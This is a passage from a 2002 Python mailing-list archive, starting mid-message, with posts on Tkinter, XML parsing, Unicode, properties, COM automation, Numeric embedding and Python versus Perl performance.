'color map hotspots' in the > results. For example, my boss wants me to transform the results (of, > for example, standard deviations run across each array) and then > cluster them by color (I can explain more if anybody needs it). > > There are a few programs that do this but they all have propriety > formatting of the results (which precludes some of the things we want > to do) and limits onto the types of comparisons that can be done. > Ideally, we would want our own implementation that we could use in any > way we wanted. > > There isn't alot of support for this type of programming at my > company, so the hope is that I can get a 'minimally' functional > prototype so we can see what can be done. > > >From the people I've talked with, color-maps like these are actually > fairly common, so I was hoping that somebody could point me in the > right direction (maybe a module already exists to do this that > interfaces with Numeric, etc.) I'm doing some searches but I'm not > having a whole lot of luck (right now, I am going through stuff like > "Numeric Color" etc. Thanks a bunch. Take a look at the R package - see http://www.r-project.org in particular the screenshots page - there is a nice "heat map" of a volcano at the bottom of the page. You can transfer your data to R via delimited text files, but if you are using Unix or Linux, then have a look at Walter Moreira's RPy module (see http://rpy.sourceforge.net ) which embeds R in Python and allows NumPy arrays and other Python data structures to be transparently transferred into the R environment (and acted upon there). Tim C From mgerrans at mindspring.com Wed May 1 22:08:29 2002 From: mgerrans at mindspring.com (Matt Gerrans) Date: Wed, 1 May 2002 19:08:29 -0700 Subject: Python & XML References: <3cd08936$1_3@nopics.sjc> Message-ID: I downloaded the examples for that book from the O'Reilly site and tried that one out with Python 2.2 and PyXML 0.7 and it seemed to work okay, yielding the following results: D:\pythonxml_examples\c4>python po.py wrote in message news:3cd08936$1_3 at nopics.sjc... > as in a prior post i was recommened to purchase the book Python & XML by: > Christopher A. Jones & Fred L. Drake, Jr., which by the way is very > informative and thank you for the person who recommended it to me, but it > just happens that the majority if not all of the examples donot work, and i > have copied it verbatim, and no luck, of course i tweaked some exmaples to > work, but this one is beyond me and i have notbeen able to fix this: > > from xml.dom.ext.reader.Sax2 import FromXmlStream > import sys > > doc = FromXmlStream(sys.stdin) > > for sku in doc.getElementsByTagName("sku"): > sku.normalize() > print "Sku: %s"%sku.firstChild.data > > keeps telling me im out of space? > > the example tells me to call it as "po.py < po.xml" but errors that. very > frustrating when your trying to learn XML processing in python and the > examples do not work! almot makes me feel my $30USD was not worth it. *sigh* > > any help would greatly be appreciated. > > Adonis > > From peter at engcorp.com Mon May 6 20:00:17 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 May 2002 20:00:17 -0400 Subject: References: <3CD61492.BD6F207C@engcorp.com> Message-ID: <3CD71911.B6B24F1C@engcorp.com> Billy Ng wrote: > > Thanks guys! I have one more question. In the xml doc, I have already > defined > > > > How come it still returns me unicode? The raw XML data is not in Unicode, it is "encoded" in UTF-8, which is a special way of representing information that ends up in memory as Unicode characters. (Actually, it might stay as UTF-8 or even become some other encoding, but that's beside the point.) If the XML file really contained Unicode, you wouldn't have to specifying an encoding at all... (i.e. UTF-8 is not Unicode.) -Peter From eric.brunel at pragmadev.com Tue May 21 14:27:05 2002 From: eric.brunel at pragmadev.com (Eric Brunel) Date: Tue, 21 May 2002 18:27:05 +0000 Subject: Text Widget size References: Message-ID: Salim Zayat wrote: > Hey all. What's up? I have a quick question about the Tkinter Text > widget. If I have a string of text inserted, is there a way to change > the size of the Text widget to fit it perfectly, i.e. changing the height > and width to display all the lines of Text that are there and not have > any extra lines? That shouldn't be too difficult: just create your text with the minimum width and height (1 and 1...) and bind a callback to the event getting the number of lines in the text and the length of the longest line and set them respectively as the height and width of the Text object: t = Text(..., width=1, height=1) def resize(event): lines = t.get(1.0, END).splitlines() maxW = 0 if lines: maxW = max([len(l) for l in lines]) t.configure(width=maxW, height=len(lines)) t.bind("", resize) Be warned: this doesn't work in all cases... If you do an t.insert or a t.delete, you'll have to call the resize function manually. There are also far more complex issues with non-default fonts, especially proportional fonts, and tab management, that will make the simple method above miserably fail... But you get the idea. HTH -- - Eric Brunel - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From pyth at devel.trillke.net Thu May 9 18:20:03 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 00:20:03 +0200 Subject: "a better input" In-Reply-To: References: Message-ID: <20020509222003.GE27672@devel.trillke> Gareth McCaughan wrote: > Holger Krekel wrote: > > > > I don't actually mind if an input() replacement evaluates 2+3. > > > I do mind if it is able to do arbitrary computation, where > > > "arbitrary" is fuzzily defined to cover things like > ... > > IMO, don't add such things to python. If you really need > > such security use the mechanisms of your > > OS e.g. restricted execution or even Jails/Bsd or UserModeLinux > > which give you security on the *system call* level even > > if you are executing as *root*. This way you can still > > use the full power of any C-extension or cmdline-tool... > > > > That's a fundamentally better approach than fiddling > > with some functions in python and quite possibly bloating > > the API and the language. > > 1. OS-level facilities cannot protect from all the things > I think a good input() should be protected from. maybe i don't see how you could do that. > 2. If the only way to provide an input() function along the > lines I prefer involves bloating the API, then it should > not be done. > > 3. I don't understand what you mean about bloating the > language. I am proposing this as something it would > be good to add if the existing input() gets removed > or deprecated. why not just get rid of it :-) seriously, i was a little bit out of this thread so i might have stepped in too rudely. But my general point is that thinking too much about tiny increases of security can bloat the language, the APIs and your programs without gaining you enough of the desired protection. regards, holger From brian at sweetapp.com Sat May 18 17:39:49 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 18 May 2002 14:39:49 -0700 Subject: Disabling garbage colletion? In-Reply-To: Message-ID: <000601c1feb4$89ca9d10$445d4540@Dell2> > Hm, i just read in another post that you can turn off the garbage > collector? What exactly does this stop from happening? Is this a good idea > if e.g. you have a system which is guarenteed not to have cyclic-y > problems? Hm..... =) Are you going to audit the standard library for cycles or not use it altogether? Cheers, Brian From marklists at mceahern.com Tue May 14 16:10:42 2002 From: marklists at mceahern.com (Mark McEahern) Date: Tue, 14 May 2002 15:10:42 -0500 Subject: OT: Crazy Programming In-Reply-To: <3CE1621A.3080900@hotmail.com> Message-ID: [Matthew Diephouse] > OBC2BIP - Only Bad Coders Code Badly In Perl Yes, but perhaps only masochists even bother to try. ;-) // mark From spam at aturuxo.net Sun May 12 07:51:51 2002 From: spam at aturuxo.net (Afonso Fernandez Nogueira) Date: Sun, 12 May 2002 13:51:51 +0200 Subject: Python Service References: Message-ID: <002b01c1f9ab$686f8f30$b9e0533e@fonso> David LeBlanc wrote: > Noooo..... pipes != services on NT/2k! > > Take a look at win32service in PythonWin32Extensions doc part of PythonWin. > > Even better py2exe: > "Release 0.3.0: py2exe can now build windows NT services. > The exe-file will now contain a version resource. " > > http://starship.python.net/crew/theller/py2exe/ Oops. I'm sorry. I was so dumb I supposed you were referring to the "os.popen() won't work" part of the message of the original poster, although it was clear that the main topic of the thread was NT services, and I should have been more careful. fonso From op73418 at mail.telepac.pt Tue May 21 19:35:36 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Wed, 22 May 2002 00:35:36 +0100 Subject: list prob References: <3ceac092$0$8139$ba620e4c@news.skynet.be> Message-ID: On Tue, 21 May 2002 23:48:41 +0200, "kemu" wrote: >I want to search a list if I do list.index("word to search") and the word >isn't in the list I get an error I don't want to get one from python but >want my own error like word is not in the list how ? >or is there an other way to search the list for strings and if he doesn't >find one he doesn't print an error ? > wrap list.index in a try block, e.g: >>> a = ['test', 'another test'] >>> a.index('yet another test') Traceback (most recent call last): File "", line 1, in ? ValueError: list.index(x): x not in list >>> try: ... a.index('yet another test') ... except ValueError: ... print "see, no error!" ... see, no error! >>> All the best, Gon?alo Rodrigues From gerhard at bigfoot.de Fri May 10 13:27:16 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 10 May 2002 17:27:16 GMT Subject: get/set References: <20020510184436.4cbc7313.wilk@flibuste.net> Message-ID: William Dode wrote in comp.lang.python: > hi, > > coming from java, i use to do a lot of get set method and make all the > variable as private. > > class Toto: > def getA(self): return self._a > def setA(self,v): self._a=v > ... > > Shall i do like that in python ? I think you don't need this boilerplate code most of the time. Since Python 2.2, however, you can mimic the Java behaviour without resorting to __getattr__/__setattr__. The pyhton.org website with Guido's introduction to 2.2 features currently seems to be down, but you can look here for some basic intro for 2.2 features: http://www.amk.ca/python/2.2/ Your example could then look like: class Toto(object): __slots__ = ["_a"] def __init__(self): self._a = 5 def set_a(self, val): if val < 5 or val > 10: raise ValueError, "val must be in [5;10]" self._a = val def get_a(self): return self._a # Third argument is for attribute deletion; None means cannot delete attribute a = property(get_a, set_a, None) x = Toto() print x.a x.a = 10 x.a = 11 # raises ValueError x.b = 5 # raises AttributeError; no such attribute It also has the advantage that it can be used with GPL software ;-) Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From logiplexsoftware at earthlink.net Thu May 9 13:45:28 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Thu, 9 May 2002 10:45:28 -0700 Subject: Hello Newb here In-Reply-To: References: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> Message-ID: <20020509104528.3beb6f04.logiplexsoftware@earthlink.net> On Thu, 09 May 2002 02:18:42 +0100 Gon?alo Rodrigues wrote: > On Thu, 09 May 2002 00:35:06 GMT, "Ray Tux" > wrote: > > >Hello im new to programming i started to learn c++, but turned out to be > >way too hard. So i thought I would learn Python. > > > > Good choice. > > >Does anyone have any ideas on how I can learn to program well in about a > >month > > What do you mean to program well? To be a *good* programmer in the large > (like being a good mathematician, a good lawyer, etc.) takes time. A > month is not enough, unless you are a true genius. Even a genius can remain a poor programmer for many years. IMO, how long it will take to become a _good_ programmer depends far more upon the person's interest in programming itself (especially the aesthetics of elegant design). > But since you said > that C++ was too hard that does not seem to be the case. Anyway there is > reallly only one method to be a good programmer: read tutorials + > program + read some books + program + read other people's code + program > + ... You get the idea. Especially "read other people's code". While this can be difficult (often one of my least favorite tasks), so much can be learned this way (both about what is right and what is wrong) that it is indispensable. Probably the easiest code to digest would be fragments posted to this list and perhaps magazine articles (where the code can be expected to be of a fairly high quality and the reasoning behind the implementation well documented). You might consider porting example code written in other languages (possibly from magazine articles) to Python as this will undoubtedly push you into new areas of the library and the language. Also, read the Python library documentation. Then read it again. If you can't find inspiration for a few programs in there ("Hey, I could use that for...") then you won't find it anywhere. Regards, -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From robin at jessikat.fsnet.co.uk Fri May 10 03:55:14 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Fri, 10 May 2002 08:55:14 +0100 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> Message-ID: In article , James J. Besemer writes ..... > >The way most optimizers work is they detect patterns known to be safe and also >sufficiently common to be worth dealing with. Anything that does not fit the >pattern 100% does not get optimized. > ..... Well strictly speaking this is untrue. This class of optimisation is called 'local', 'greedy' or perhaps 'peephole'. Since in fact they may not be optimal these methods are really improvers. As to whether most optimisers are like this I suppose all the compiler builders who claim 'global' etc etc may want to dispute. -- Robin Becker From aahz at pythoncraft.com Tue May 28 21:25:22 2002 From: aahz at pythoncraft.com (Aahz) Date: 28 May 2002 21:25:22 -0400 Subject: Academic citation for Python References: <3CEEE0D8.7030102@bellatlantic.net> <3CEEEE42.60D47318@engcorp.com> Message-ID: In article , David Eppstein wrote: > >I can't speak for the OP, but I can imagine situations in which I'm >writing an academic paper, and want to use Python to describe an >algorithm or something, but don't trust my audience to all know Python. >So, I'd say that my algorithm was written in Python [1], where the >numbered reference points to somewhere people could go to learn what >Python is. Is there a canonical source of information or should one >just pick one of the intro to Python programming books? One should always mention "http://www.python.org/". Additional points of information may be added to taste. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From mwh at python.net Sun May 26 13:26:06 2002 From: mwh at python.net (Michael Hudson) Date: Sun, 26 May 2002 17:26:06 GMT Subject: Fatal Python error: GC object already in linked list References: Message-ID: mongiaamit at yahoo.com (Amit Mongia) writes: > Hi, > I am using Python 2.2. Libcurl 7.9.5 and openssl 0.9.6 You should really consider upgrading to 2.2.1. Cheers, M. -- same software, different verbosity settings (this one goes to eleven) -- the effbot on the martellibot From phil at river-bank.demon.co.uk Mon May 6 05:40:04 2002 From: phil at river-bank.demon.co.uk (Phil Thompson) Date: Mon, 06 May 2002 10:40:04 +0100 Subject: python and C++? References: Message-ID: <3CD64F74.14F3B0C6@river-bank.demon.co.uk> Totte Karlsson wrote: > > Thanks I'll test boost, > How about SWIG? is boost preferable? any opinions? > I read that you can't wrap C++ functions which return pointers? sounds like > a big limitation to me. My classes return pointers all the time.. is there a > workaround? > I want to use the simplest and most versatile.. You might also want to look at SIP (http://www.riverbankcomputing.co.uk/sip/index.php). It is mature and used to generate bindings for large class libraries. SIP handles pointers properly and supports the concept of ownership of the object being pointed to - so that dtors are called once and only once. SIP's weakest point is the poor documentation - but there are plenty of working examples available. Phil From andrewm at object-craft.com.au Thu May 2 21:40:03 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Fri, 03 May 2002 11:40:03 +1000 Subject: Python vs. Perl, which is better to learn? In-Reply-To: Your message of "Thu, 02 May 2002 05:40:06 GMT." <3CD0CFBC.35F221AE@tundraware.com> Message-ID: <20020503014003.5661138F50@coffee.object-craft.com.au> >Andrew McNamara wrote: >> >> >I have a lot of experience in ANSI C/C++, I want to learn a new >> >language and which it can help me in the work. >> >I just want to clear which(python or perl) is more comfort for me? > >This question comes up with painful regularity on virtually every >language newsgroup in existence. The answers are almost always the [...] Excuse me Tim, I didn't write the message you replied to. Please take more care with your attributions, or turn them off if you can't get them right. -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From spam at fisher.forestry.uga.edu Mon May 20 17:11:54 2002 From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck) Date: 20 May 2002 14:11:54 -0700 Subject: Embedding a Numeric array in C Message-ID: I am trying to find out how to properly embed a Numeric array type in C. The following code compiles, but segfaults when run: #include #include #include int main() { PyObject *pmod; char *cstr; Py_Initialize(); pmod = PyImport_ImportModule("Numeric"); Py_DECREF(pmod); return 0; } That is, simply importing the Numeric module causes a crash. Substituting most other modules works without a hitch. Any ideas? I'm sure this is easy, but I havent found the answer. Thanks, cjf From tl_news at nexgo.de Wed May 22 14:15:24 2002 From: tl_news at nexgo.de (Tino Lange) Date: Wed, 22 May 2002 20:15:24 +0200 Subject: PythonCOM Problem: Automating WinFAX from Python References: Message-ID: <6jnneuggumqho7akcbjf8i13t5ae70ffeh@4ax.com> On Wed, 22 May 2002 08:51:33 +0100, Stefan Schukat wrote: >>How can I translate the following C++-Code to python? >> >>// Create application object >>if (m_sendObj.CreateDispatch("WinFax.SDKSend")) >>{ >> m_appObj.AttachDispatch(m_sendObj.GetApplication()); >> m_appObj.LeaveRunning(1); >> m_sendObj.ReleaseDispatch(); >> ... >>} > In Python this is done, so the translated code would be: > >>>> import win32com >>>> import win32com.client >>>> send_obj = win32com.client.Dispatch("WinFax.SDKSend") >>>> appObj = send_obj.Application >>>> appObj.LeaveRunning(1) >>>> del send_obj Hi Stefan! Thanks a lot for your help! This really works now! But it just raises the next question - maybe you or someone else can help again? :-) The function I want to use now on the "appObj" is "GetAutoRecieve()". It's signature in C++ is short GetAutoRecieve(LPCTSTR sDevice, short FAR * nStatus) How can I code this in Python? How to emulate a pointer to an integer? I tried >>> nStatus = 0 >>> appObj.GetAutoReceive(u'MicroLink Office', nStatus) Traceback (most recent call last): File "", line 1, in ? File ">", line 2, in GetAutoReceive pywintypes.com_error: (-2147352571, 'Typkonflikt.', None, 2) >>> with or without unicode string and with/without using "id(object)" (pointer type?) instead of the object itself. But I always get Traceback (most recent call last): File "", line 1, in ? File ">", line 2, in GetAutoReceive pywintypes.com_error: (-2147352571, 'Typkonflikt.', None, 2) Could you give me another hint? Thanks a lot! Tino From bevkpope at yahoo.com Fri May 24 09:13:48 2002 From: bevkpope at yahoo.com (Beverly K. Pope) Date: 24 May 2002 06:13:48 -0700 Subject: How to get login computer's domain name? Message-ID: Is there a module that has commands for getting the domain name of the computer to which I am logged in (not "local")? Or do I have to open a pipe to the appropriate command? Thanks! From fperez528 at yahoo.com Tue May 21 23:05:35 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 21 May 2002 21:05:35 -0600 Subject: Embedding a Numeric array in C References: Message-ID: Chris Fonnesbeck wrote: > All > I am trying to do is run a python function (which contains Numeric > classes) from within C, and get it to return a number. Shouldnt be > anything TOO complicated. Ah, I thought you wanted your C code simply to access the python Numeric arrays and work on them in pure C. The examples I gave you show how to do that, but from the C code I don't know how to call back into python (never needed it). Still it may be useful: if you only figure out how to access a python function whose name/signature you know from inside C, maybe weave can help with the rest (as long as you wish your 'main' to be in python, not C). good luck, f From mirandacascade at yahoo.com Mon May 20 13:46:43 2002 From: mirandacascade at yahoo.com (Miranda Evans) Date: 20 May 2002 10:46:43 -0700 Subject: return code from win32event.WaitForMultipleObjects() Message-ID: <59e5b87.0205200946.6b78a36e@posting.google.com> I do not understand why win32event.WaitForMultipleObjects is returning the values that it is returning in this example. Using one of the events from testMSOfficeEvents.py as the basis for this test, I created test_demo.py. Using python 2.2; O/S is Windows 2000; using PythonWin. contents of test_demo.py are: import time, win32event, win32com.client, pythoncom class xlEv: def __init__(self): self.event = win32event.CreateEvent(None, 0, 0, None) def OnSheetBeforeDoubleClick(self, sh, target, cancel): print 'double click happened' win32event.SetEvent(self.event) def demo(): g = xlEv() xl=win32com.client.DispatchWithEvents("Excel.Application", xlEv) xl.Visible=1 xl.Workbooks.Add() start_time = time.time() while 1: rc = win32event.WaitForMultipleObjects((g.event,), 0, 1000, win32event.QS_ALLEVENTS) if rc == win32event.WAIT_OBJECT_0: print 'event signalled' break elif rc == win32event.WAIT_OBJECT_0+1: pythoncom.PumpWaitingMessages() # check for timeout if time.time() - start_time > 15: print 'timed out' break Then in PythonWin >>> import test_demo >>> test_demo.demo() < at this point, I double click in a cell in the Excel app and go back to PythonWin> >>> double click happened >>> timed out Since the message 'double click happened' appears, I'm assuming that the code in the OnSheetBeforeDoubleClick() method got executed, and I'm assuming that the following statement in the OnSheetBeforeDoubleClick() method: win32event.SetEvent(self.event) got executed. Additionally, I would have expected that the SetEvent would have resulted in a return code of win32event.WAIT_OBJECT_0 within the while loop. It doesn't appear as though a return code of win32event.WAIT_OBJECT_0 is ever encountered in the while loop. Assuming I want the while loop to terminate as soon as the double click happens, how should I set up the program to handle this type of notification? From Gareth.McCaughan at pobox.com Thu May 9 17:07:29 2002 From: Gareth.McCaughan at pobox.com (Gareth McCaughan) Date: Thu, 9 May 2002 22:07:29 +0100 Subject: "a better input" References: <%2BC8.45501$m26.36772@atlpnn01.usenetserver.com> Message-ID: Steve Holden wrote: [I said:] > > I don't actually mind if an input() replacement evaluates 2+3. > > I do mind if it is able to do arbitrary computation, where > > "arbitrary" is fuzzily defined to cover things like > > > > 1 anything that could take a large amount of time or > > memory to compute; > > > > (rationale: we don't want to facilitate DoS attacks; > > users will find it counterintuitive if what they think > > of as reading a value can consume unbounded resources.) > > So, for example, 2**100 is OK, but 2**10000000 is right out? Er, no. ** should be right out because 2**10000000 should be. I'm not proposing that input() should have the semantics "any expression that can be evaluated safely is OK", but that there should be some simpler set of rules that has that as a consequence. If there is no reasonably simple such set of rules, then the idea is unworkable. -- Gareth McCaughan Gareth.McCaughan at pobox.com .sig under construc From greg at cosc.canterbury.ac.nz Tue May 14 21:56:57 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 15 May 2002 13:56:57 +1200 Subject: ANN: Pyrex 0.2.2 Message-ID: Pyrex 0.2.2 is now available: http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/ Bugs fixed in 0.2.2: * Error reporting (again! Made note to self to fix this in the Mac version so it doesn't keep coming back!) * Code generated for print statements no longer supplies its own declaration of isspace (seems to be unnecessary because the Python 2.2 headers include ctype.h, and my declaration was conflicting with the standard one on Windows). What is Pyrex? -------------- Pyrex is a new language for writing Python extension modules. It lets you freely mix operations on Python and C data, with all Python reference counting and error checking handled automatically. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From peter at engcorp.com Wed May 8 01:07:23 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 08 May 2002 01:07:23 -0400 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> Message-ID: <3CD8B28B.C610082@engcorp.com> "James J. Besemer" wrote: > > Peter Hansen wrote: > > Patrick W wrote: > > > I *was* thinking that there are many situations in which Python is too slow ... > > > > I object to that characterization: in two years > > of extensive Python use in a very wide variety of areas, I have not > > yet found Python to be "too slow". I believe this is a common myth > > or nasty rumor, without strong basis in reality. > > A lot of real-world applications require performance approximating the > underlying CPU speeds Disagree. A lot of real-world applications may say that, but in fact they simply need some fixed but often unspecified performance and they might have chosen a slower CPU than they should have. Few projects are based on adequate analysis of the relative costs of a bit of faster hardware versus a longer development cycle. For mass market hardware, clearly cost of hardware rules. For custom/one-off projects much faster hardware combined with Python would be a far better choice than slower/cheaper hardware and a solution in C . > ...in which case Python would be simply unable to do the job. Well, with a slow enough CPU, any language may be inadequate. Contrariwise, with a fast enough CPU, Python can certainly be fast enough for the job. What project have you seen where the requirements said "must run as fast as can possibly be achieved, at all costs, regardless of choice of implementation language, duration of project, or other concerns." I'm sure there are some close to that, but they are not widespread and don't justify the "there are many situations" claim. > There are other real-world applications where the hardware is too cramped for a > language as "cushy" as Python. [...] A further example is the millions of extremely > tiny CPUs being deployed. E.g., one project had a CPU that lived in a hand-held > probe. Well please, let's stick to reality-based discussions. Obviously there are places where Python simply won't fit, so discussing whether it is fast enough (that was the topic) in those applications is pretty meaningless. > For less time critical applications, like serving up CGI or preparing reports or > other sys admin functions, Python surely is plenty fast enough. But it's wrong to > extrapolate your limited experience in that domain to all or "many" other situations. I'll assume you meant "your limited experience" in the sense of my having none at all in that area. I've never used Python for such tasks and I wouldn't make the mistake of extrapolating from such limited experience, I believe. I have, however, used Python in a number of other areas including: - web applications (Zope, with an Intranet running on basic hardware serving a company of 100 people), where response time is important - automated factory test (controlling RF equipment via GPIB, serial, and CAN interfaces and providing a GUI and an output stream in XML), where total test time is critical to factory production rates - embedded control and monitoring (running on 386 and 486 chips on PC104 boards with from 1MB to 32MB RAM and flash memory, monitoring and controlling dozens of external devices via a triple CAN interface), where scan rates are important (soft realtime) and bandwidth matters - basic sys admin utilities (wow! so I do have some experience there... go figure), where generally speed is quite unimportant - probably a couple of other areas I've forgotten. Perhaps this /is/ limited experience from which to draw conclusions... > If I may offer a personal observation: It kills me when someone's strongest > argument that something simply cannot be is that he "hasn't seen" or > "can't think of" any contradictory data. Just because you can't THINK of > it is usually NO grounds to object. Ohh... you must have misread my comments. Please go back to the top and find where I said that I objected to the claim there were "many situations where Python is too slow", not what you say I said, which is apparently more like "Python is never too slow". Just because you THINK I said something doesn't mean I ACTUALLY said it. For the record, and since you must have missed the past discussions on the topic, there /are/ places where Python has been reported to be too slow and I'm aware of them. I just haven't encountered any myself (as I said) and I object to the statement that it will /often/ be the case that it is found to be too slow. I believe quite the opposite, if it wasn't clear: it will /rarely/ be the case that Python is found to be too slow. 'Nuff said? -Peter From kragen at pobox.com Sat May 25 05:37:25 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 25 May 2002 05:37:25 -0400 Subject: newbie question References: Message-ID: <83661clga2.fsf@panacea.canonical.org> Michael Bauers writes: > Why doesn't the following work? > > import sys > x = sys.stdin.xreadlines() It works for me. What behavior do you get? > How is 'stdin' different than objects returned from 'file()' ? It isn't. From Mike_Bohr at gmx.net Tue May 14 12:33:27 2002 From: Mike_Bohr at gmx.net (Bohr, Mike) Date: Tue, 14 May 2002 18:33:27 +0200 Subject: Tkinter Configuration References: <83sn4wkjy9.fsf@panacea.canonical.org> Message-ID: I found the _tkinter entry in the setup file, but no files with _tkinter in my files... and Yast ( the package install toll of SuSE) says everythink with _tkinter or tk is installed... but I can't find it From bkc at Murkworks.com Tue May 14 10:20:04 2002 From: bkc at Murkworks.com (Brad Clements) Date: Tue, 14 May 2002 10:20:04 -0400 Subject: Oberon in Python, ala Pyrex but instant compile? Message-ID: <3ce11bc3_4@goliath.newsgroups.com> Brainstorming.. Pyrex looks very nice. I'm wondering if it'd be possible to use an Oberon-2 compiler as the backend instead of GCC. The idea being that Oberon-2, on some (most?) OS's allows for very fast dynamic compilation and loading. The Oberon compiler could be a Python module that dynamically loads Pyrex "modules" and recompiles on the fly as needed. I realize that dynamic loading is part of Oberon System, not really the Oberon compiler itself. But I wondering if this is too crazy an idea or not. Have something like Pyrex write Oberon code, run it through an Oberon compiler and dynamically load the resulting module. Oberon is much smaller than GCC and runs just about anywhere. Crazy idea, or waste of time, or both? -- Novell DeveloperNet Sysop #5 _ -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From mgilfix at eecs.tufts.edu Fri May 10 06:48:52 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Fri, 10 May 2002 06:48:52 -0400 Subject: Which GUI Library to Use In-Reply-To: ; from lists@weissinger.org on Thu, May 09, 2002 at 10:53:46PM -0400 References: Message-ID: <20020510064852.F24038@eecs.tufts.edu> Since this has already been answered for the most part, I just want to add that if you're considered development on windows, or want portability across *nix and windows, then wxPython might be your best choice. It's very cross platform. pyGTK unfortunately isn't at the moment. -- Mike On Thu, May 09 @ 22:53, A. Keyton Weissinger wrote: > Hi Folks, > > I am beginning work on what will likely turn into a fairly large GUI-based > application and would like your thoughts on which library to use: > > A) Tk Only > B) Tk with Python Mega-widgets or similar (i.e. Tk with some other stuff) > C) Qt (BlackAdder just announced the incorporation of Qt3 into BA) > D) wxPython > > I want to get the best combination of easiest to install most feature rich > and do not have enough experience with the non-Tk libraries. > > Thank you!!!! > > Keyton > > > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (lists) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From stephen at xemacs.org Sat May 11 08:31:19 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 11 May 2002 21:31:19 +0900 Subject: Multibyte Character Surport for Python References: Message-ID: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v L?wis writes: >> 1. In Python 3.0, the input character set is unicode - either >> UTF-16 or UTF-8 (I'm not prepared to make a solid arguement one >> way or the other at this time.) Martin> Actually, PEP 263 gives a much wider choice; consider this Martin> aspect solved. Some of us consider the wider choice to be a severe defect of PEP 263. That doesn't mean we think that Python should prohibit writing programs in arbitrary user-specified encodings. Only that the facility for transforming a non-Unicode program into Unicode should be provided as a standard library facility, rather than part of the language. The lexical properties of the language would be specified in terms of Unicode. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From chrisl_ak at hotmail.com Tue May 21 20:54:02 2002 From: chrisl_ak at hotmail.com (Chris) Date: Wed, 22 May 2002 00:54:02 -0000 Subject: Is python really slow? Message-ID: I spend a fair amount of time on perl newsgroups, having the need to use perl for various parts of my job. I am now learning Python. I am a bit disheartened at how common it seems to code only some of a program in Python and use C for other parts, and how much discussion here involves using C for X and Y. I don't have time to learn another language. I don't see nearly as much discussion about doing this in the Perl newgroups. Should I just be learning C instead? Is this just because of the different applications python is being put to use for or because Python programmers are more "multi-lingual" or is Python really so slow that one needs to go to C on a more regular basis? This is NOT flamebait... it just has me concerned that by deciding on Python (after becoming semi-proficient in PHP and Perl) I might be making a mistake. From phd at phd.pp.ru Tue May 14 08:30:57 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 14 May 2002 16:30:57 +0400 Subject: DPythOS 0.0 released In-Reply-To: <20020514162634.I8572@phd.pp.ru>; from phd@phd.pp.ru on Tue, May 14, 2002 at 04:26:34PM +0400 References: <20020514162634.I8572@phd.pp.ru> Message-ID: <20020514163057.K8572@phd.pp.ru> On Tue, May 14, 2002 at 04:26:34PM +0400, Oleg Broytmann wrote: > On Mon, May 13, 2002 at 08:49:56PM +0000, Luke Kenneth Casson Leighton wrote: > > - all versions of ssh are non-interactive with respect to > > password input. i had to patch open-ssh to accept > > passwords on the command-line (ssh password:user at host). > > That's bad, pretty bad. Now anyone with access to /bin/ps can view > all passwords :( Oops, followup to myself. Forgot to mention a solution - properly distribute public keys. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From rnd at onego.ru Sat May 4 13:38:42 2002 From: rnd at onego.ru (Roman Suzi) Date: Sat, 4 May 2002 21:38:42 +0400 (MSD) Subject: module random: delay in "seeding" In-Reply-To: <7xznzg717j.fsf@ruckus.brouhaha.com> Message-ID: On 4 May 2002, Paul Rubin wrote: >Tim Peters writes: >> > While it is quite understandable that normally distributed numbers >> > come in pairs, but I thought seed() resets the state of random module... >> > I 